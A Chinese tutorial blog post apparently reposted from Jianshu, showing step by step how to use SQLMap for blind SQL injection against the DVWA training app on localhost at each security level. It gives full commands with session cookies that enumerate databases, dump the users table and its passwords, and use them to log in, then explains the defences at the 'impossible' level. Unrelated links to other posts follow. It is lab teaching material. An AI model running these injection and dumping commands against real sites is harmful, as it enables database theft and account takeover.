一、测试前分析

前文<DVWA全等级SQL Injection(Blind)盲注-手工测试过程解析>
通过手工测试的方式详细分析了SQL Injection(Blind)盲注漏洞的利用过程,本文则利用自动化的工具SQLMap对SQL Injection(Blind)进行漏洞检测和数据获取。

手工 VS 自动化
①手工测试有助于理解整个注入漏洞的利用过程,可以加深技能印象
②自动化工具所检测的效率相对较高,而且覆盖的全面性更高,数据获取的广度和深度也可以得到更好的发挥

利用SQLMap自动化工具的检测流程大致如下:
1.判断是否存在注入点、注入类型
2.获取DBMS中所有的数据库名称
3.获取Web应用当前连接的数据库
4.列出数据库中的所有用户
5.获取Web应用当前所操作的用户
6.列出可连接数据库的所有账户-对应的密码哈希
7.列出指定数据库中的所有数据表
8.列出指定数据表中的所有字段(列)
9.导出指定数据表中的列字段进行保存
10.根据导出的数据,验证数据有效性

二、全等级SQL Injection(Blind)-漏洞利用解析

利用SQLMap工具操作,本文暂不作太过详细的去拆分细节点,各个等级的服务端代码在此也不作重复展示。
以下构造SQLMap所需的测试命令时,所需用到的工具还有:浏览器自带的F12查看Request/Response/cookie、Fiddler抓取url/cookie等、Burp拦截url/cookie等数据...
因注入测试是在保持浏览器账户登录状态的前提下进行的,过程中需要保持登录不退出账户,操作命令中需要带上登录账户的cookie信息--cookie="xxx";若过程中有退出了账户,则需要重新登录账户,并重新获取cookie信息,以在SQLMap操作命令中及时更新cookie内容。

【A】Level:Low

1.判断是否存在注入点、注入的类型

构造命令:
python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=rujk4c8mesl5okum32p362dig0" --batch

执行结果:

 
 
2.获取DBMS中所有的数据库名称

构造指令:
python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=rujk4c8mesl5okum32p362dig0" --batch --dbs

执行结果:

 
 
3.获取Web应用当前连接的数据库

构造指令:
python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=rujk4c8mesl5okum32p362dig0" --batch --current-db

执行结果:

 
 
4.列出数据库中的所有用户

构造指令:
python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=rujk4c8mesl5okum32p362dig0" --batch --users

执行结果:

 
 
5.获取Web应用当前所操作的用户

构造指令:
python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=rujk4c8mesl5okum32p362dig0" --batch --current-user

执行结果:

 
 
6.列出可连接数据库的所有账户-对应的密码哈希

构造指令:
python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=rujk4c8mesl5okum32p362dig0" --batch --passwords

执行结果:

 
 
7.列出指定数据库中的所有数据表

构造指令:
python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=rujk4c8mesl5okum32p362dig0" --batch -D dvwa --tables

执行结果:

 
 
8.列出指定数据表中的所有字段(列)

构造指令:
python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=rujk4c8mesl5okum32p362dig0" --batch -D dvwa -T users --columns

执行结果:

 
 
9.导出指定数据表中的列字段进行保存

构造指令:
python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=rujk4c8mesl5okum32p362dig0" --batch -D dvwa -T users -C "user,password" --dump

执行结果:

 
 
10.根据导出的数据,验证数据有效性
user password
1337 charley
admin password
gordonb abc123
pablo letmein
smithy password

从以上导出的user---password组合中任取一组,回到前端登录界面进行验证

登录界面:http://localhost:8001/dvwa/login.php
用户密码:pablo---letmein

 
登录成功

【B】Level:Medium

Low等级提交的数据是通过GET请求方式,直接在浏览器url中传递参数;而Medium等级,所提交的User ID数据是通过POST请求方式,参数是在POST请求体中传递。
此时,构造SQLMap操作命令,则需要将url和data分成两部分分别填写,同时需要更新cookie信息的取值,如下:

构造命令:
python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli_blind/" --data="id=1&Submit=Submit" --cookie="security=medium; PHPSESSID=rujk4c8mesl5okum32p362dig0" --batch

执行结果:

 
 

构造命令:
python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli_blind/" --data="id=1&Submit=Submit" --cookie="security=medium; PHPSESSID=rujk4c8mesl5okum32p362dig0" --batch -dbs

执行结果:

 
 
 
基于时间的盲注,整个猜解过程中要花费稍微多一些时间

......
获取数据库其他数据的过程,暂且不继续往下展示,和Low级别相似。确保SQLMap操作命令中的url、data分离,cookie信息更新为对应等级的cookie值,以及保持账户登录状态时进行操作即可。

【C】Level:High

  1. High级别的查询数据提交的页面、查询结果显示的页面是分离成了2个不同的窗口分别控制的。即在查询提交窗口提交数据(POST请求)之后,需要到另外一个窗口进行查看结果(GET请求)。若需获取请求体中的Form Data数据,则需要在提交数据的窗口中查看网络请求数据or通过拦截工具获取
  2. High级别的查询提交页面与查询结果显示页面不是同一个,也没有执行302跳转,这样做的目的是为了防止常规的SQLMap扫描注入测试,因为SQLMap在注入过程中,无法在查询提交页面上获取查询的结果,没有了反馈,也就没办法进一步注入;但是并不代表High级别不能用SQLMap进行注入测试,此时需要利用其非常规的命令联合操作,如:--second-order="xxxurl"(设置二阶响应的结果显示页面的url),具体的操作命令可参看==>SQLMap工具使用选项的操作命令&功能

构造命令:
python2 sqlmap.py --url="http://localhost/dvwa/vulnerabilities/sqli_blind/cookie-input.php" --data="id=1&Submit=Submit" --second-order="http://localhost/dvwa/vulnerabilities/sqli_blind/" --cookie="id=1; security=high; PHPSESSID=kpmkm3kphj5cccf7ub43c8e7l4" --batch

执行结果:

 
 

【D】Level:Impossible

可以尝试构造SQLMap命令进行检测:
python2 sqlmap.py --url="http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit&user_token=b95d5f0bb28c4ecd6418c6deed57b4bf#" --cookie="security=impossible; security=impossible; PHPSESSID=p78fd4dlnor8qsrjck9ivg3hj0" --batch

暂未发现注入漏洞

 
 

Impossible级别的SQL Injection(Blind)

  1. impossible.php代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入
  2. 只有当返回的查询结果数量为一个记录时,才会成功输出,这样就有效预防了暴库
  3. 利用is_numeric($id)函数来判断输入的id是否是数字or数字字符串,满足条件才知晓query查询语句
  4. Anti-CSRF token机制的加入了进一步提高了安全性,session_token是随机生成的动态值,每次向服务器请求,客户端都会携带最新从服务端已下发的session_token值向服务器请求作匹配验证,相互匹配才会验证通过
 

作者:Fighting_001
链接:https://www.jianshu.com/p/ec2ca79e74b2
来源:简书
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

(十二)DVWA全等级SQL Injection(Blind)盲注--SQLMap测试过程解析的更多相关文章

  1. (十一)DVWA全等级SQL Injection(Blind)盲注--手工测试过程解析

    一.DVWA-SQL Injection(Blind)测试分析 SQL盲注 VS 普通SQL注入: 普通SQL注入 SQL盲注 1.执行SQL注入攻击时,服务器会响应来自数据库服务器的错误信息,信息提 ...

  2. Blind SQL injection:盲注详解

    什么是盲注? 当应用程序易受SQL注入攻击,但其HTTP响应不包含相关SQL查询的结果或任何数据库错误的详细信息时,就会出现盲SQL注入. 对于盲目SQL注入漏洞,许多技术(如联合攻击)都是无效的,因 ...

  3. DVWA-全等级SQL注入(显注)

    前言: 首先是DVWA环境的搭建: 1.DVWA. 2.PHPSTUDY/WampServer,这里有一个坑,因为他是一体化的,PHP版本必须在5.4以上,否则显注不能打开.或者自己搭建LAMP环境. ...

  4. 【DVWA】【SQL Injection(Blind)】SQL盲注 Low Medium High Impossible

    1.初级篇 Low.php 加单引号提交 http://localhost/DVWA-master/vulnerabilities/sqli_blind/?id=1'&Submit=Submi ...

  5. DVWA之 SQL Injection(Blind)

    SQL Injection(Blind) SQL Injection(Blind),即SQL盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法 ...

  6. SQL Injection (Blind) Low

    SQL盲注分析 盲注较普通注入难度会有所增加,根据页面响应不同大概分为以下几种:布尔型盲注:时间盲注:报错注入 普通注入与盲注的对比: 普通注入:                            ...

  7. 渗透之路基础 -- SQL进阶(盲注和报错注入)

    SQL注入之盲注 实战过程中,大多情况下很少会有回显,这个时候就要去使用盲注技术 盲注,Blind SQL Injection,听这名字就感觉整个过程就是一个盲目的过程 当注入时,没有任何提示的时候, ...

  8. webgote的例子(6)SQL注入(盲注)

    SQL Injection - Blind (WS/SOAP) 本期演示的是盲注的手法.有些网站在与数据库交互的地方进行了很好的修饰,将报错的语句进行修改,即使你找到了注入点也无法下手拿数据,这个时候 ...

  9. DVWA(三):SQL injection 全等级SQL注入

    (本文不定期更新) 一.所需环境: 1.DVWA 2.web环境 phpstudy/wamp 3.burp suite 二.SQL注入产生的原因: 程序员在编写代码的时候,没有对用户输入数据的合法性进 ...

随机推荐

  1. select嵌套问题

    关于sql语句: SELECT COUNT(ID) FROM dbo.N_Order_BusinessBatch WHERE Mobile='15210235082' And CreateTime=( ...

  2. 关于 Blob

    博客地址:https://ainyi.com/88 对于 Blob,前端开发中可能比较少遇到:数据库中可使用 Blob 概念,例如 Mysql 存储二进制数据的类型就是 Blob,也就是说图片可存储于 ...

  3. The Apache Tomcat Connector

    http://tomcat.apache.org/connectors-doc/generic_howto/quick.html 搭建最简单的tomcat connector 用到了apapche 的 ...

  4. vue中mixins的使用方法和注意点(详2)(异步请求的情况)

    当混合里面包含异步请求函数,而我们又需要在组件中使用异步请求函数的返回值时,我们会取不到此返回值,如下: mixin中 组件中 控制台 解决方案:不要返回结果而是直接返回异步函数 mixin中 组件中 ...

  5. linux常用命令---打包压缩解压

    打包压缩解压

  6. vue + typescript,定义全局变量或者方法

    众所周知,在 vue中,如果想定义一个全局变量的方法很简单,直接在 vue的原型上挂载属性或者方法即可. 但是,加上了typescript之后, Vue.prototype.$xxx = xxx  这 ...

  7. MyCat垂直分库

    一.什么是垂直分库 将一类功能的表从一个实例切分到另一个实例,横向扩展实例,增加写负载 目标:将1个实例的4类表拆分多4个实例中 二.垂直切分步骤 2.1收集分析业务模块间的关系,能分几个库 2.2全 ...

  8. mysql基本操作汇总

    1.数据库操作 (1)创建数据库 CREATE DATABASE <数据库名>; 例子: CREATE DATABASE IF NOT EXISTS RUNOOB DEFAULT CHAR ...

  9. Word使用技巧——持续更新

    Q1:word 2007 打开后默认显示缩略图而不是文档结构图? A1:三步曲 1)打开word,关闭缩略图,保存并关闭文档 2)重新打开word(此时应该没有显示缩略图),勾选上“文档结构图”,保存 ...

  10. 《机器学习_08_代价敏感学习_添加sample_weight支持》

    简介 这一节主要是为模型打补丁,在这之前笔者已经介绍并实现了几种典型的机器学习模型,比如线性回归.logistic回归.最大熵.感知机.svm等,但目前它们都有一个共性,那就是构造的损失函数对每个样本 ...